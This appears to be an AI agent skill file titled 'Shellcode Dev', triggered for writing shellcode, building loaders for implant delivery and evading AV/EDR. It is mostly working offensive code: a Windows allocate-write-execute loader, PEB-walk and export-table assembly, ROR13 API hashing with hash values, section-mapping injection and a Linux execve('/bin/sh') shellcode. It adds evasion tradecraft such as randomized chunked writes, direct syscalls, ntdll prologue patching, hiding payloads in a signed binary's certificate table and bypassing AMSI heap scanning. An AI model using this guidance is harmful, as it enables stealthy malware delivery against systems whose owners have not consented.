Shellcode Dev

Shellcode Development

When to Activate

• Writing custom x86/x64 shellcode
• Implementing position-independent code (PIC)
• Building shellcode loaders for implant delivery
• Evading AV/EDR static detection
• Converting PE files to shellcode
• Cross-platform shellcode development

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:

// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();

Position-Independent Code (PIC)

Windows API Resolution (PEB Walk)

; x64 PEB walk to find kernel32.dll base
find_kernel32:
    xor rcx, rcx
    mov rax, gs:[rcx + 0x60]       ; RAX = PEB
    mov rax, [rax + 0x18]          ; RAX = PEB->Ldr
    mov rsi, [rax + 0x20]          ; RSI = InMemoryOrderModuleList
    lodsq                           ; skip first entry (exe)
    xchg rax, rsi
    lodsq                           ; skip ntdll
    mov rbx, [rax + 0x20]          ; RBX = kernel32 base address

Export Address Table (EAT) Parsing

; Parse EAT to find GetProcAddress
    mov ebx, [rbx + 0x3C]          ; PE signature offset
    add rbx, r8                     ; PE header
    mov edx, [rbx + 0x88]          ; Export Directory RVA
    add rdx, r8                     ; Export Directory VA
    mov r10d, [rdx + 0x14]         ; NumberOfFunctions
    mov r11d, [rdx + 0x20]         ; AddressOfNames RVA
    add r11, r8                     ; AddressOfNames VA
    ; Loop through names, compare hash/string

API Hashing (ROR13)

# Generate hash for API name
def ror13_hash(name):
    hash_val = 0
    for c in name:
        hash_val = ((hash_val >> 13) | (hash_val << 19)) & 0xFFFFFFFF
        hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
    return hash_val

# Common hashes:
# GetProcAddress: 0x7c0dfcaa
# LoadLibraryA:   0xec0e4e8e
# VirtualAlloc:   0x91afca54
# CreateProcessA: 0x863fcc79

Null-Byte Avoidance

Shellcode Loaders

Loader Responsibilities

1. Environment verification / keying (sandbox detection)
2. Shellcode decryption (XOR, RC4, AES)
3. Safe memory allocation and injection
4. Execution transfer

Recommended Languages

• Zig: Small binary, no runtime, good for loaders
• Rust: Memory-safe, no runtime overhead
• Nim: Compiles to C, small binaries
• Go: Cross-platform but watch for runtime signatures

Allocation Strategies

// Two-step allocation (avoid RWX)
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, size);
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);

// Alternative: Section mapping
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// Write shellcode to localView
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// Execute from execView

Evasion Tips for Write Phase

• Prepend shellcode with dummy NOPs/garbage opcodes
• Split into chunks, write in randomized order
• Add random delays between writes
• Use NtWriteVirtualMemory instead of memcpy for remote injection

Execution Methods

PE-to-Shellcode Conversion

Shellcode Storage & Hiding

Certificate Table Technique (Recommended)

• Pad Certificate Table with shellcode bytes
• Update PE headers to reflect new size
• Main executable signature remains valid
• Only the loader DLL signature breaks
• Protection: compress (LZMA) + encrypt (AES/RC4/XOR32) before storing

DripLoader Pattern

1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)

Cross-Platform Considerations

Windows on ARM64 (WoA)

• Syscalls use SVC 0 with ARM64 syscall table
• Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP
• Different register conventions (x0-x7 for args, x8 for syscall number)

Linux x64

; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
mul rsi                 ; rax=0, rdx=0
push rsi
mov rdi, 0x68732f2f6e69622f  ; /bin//sh
push rdi
push rsp
pop rdi                 ; rdi = pointer to "/bin//sh"
mov al, 59             ; syscall number for execve
syscall

macOS (Apple Silicon)

• Syscall numbers offset by 0x2000000 (e.g., execve = 0x200003B)
• Code signing enforcement — unsigned code won't execute without entitlements
• Hardened runtime prevents most injection techniques

Windows 11 24H2 Notes

• AMSI heap scanning active: allocate PAGE_NOACCESS → decrypt in place → PAGE_EXECUTE_READ
• Smart App Control blocks unsigned outbound connections
• Enhanced stack tracing checks full call chain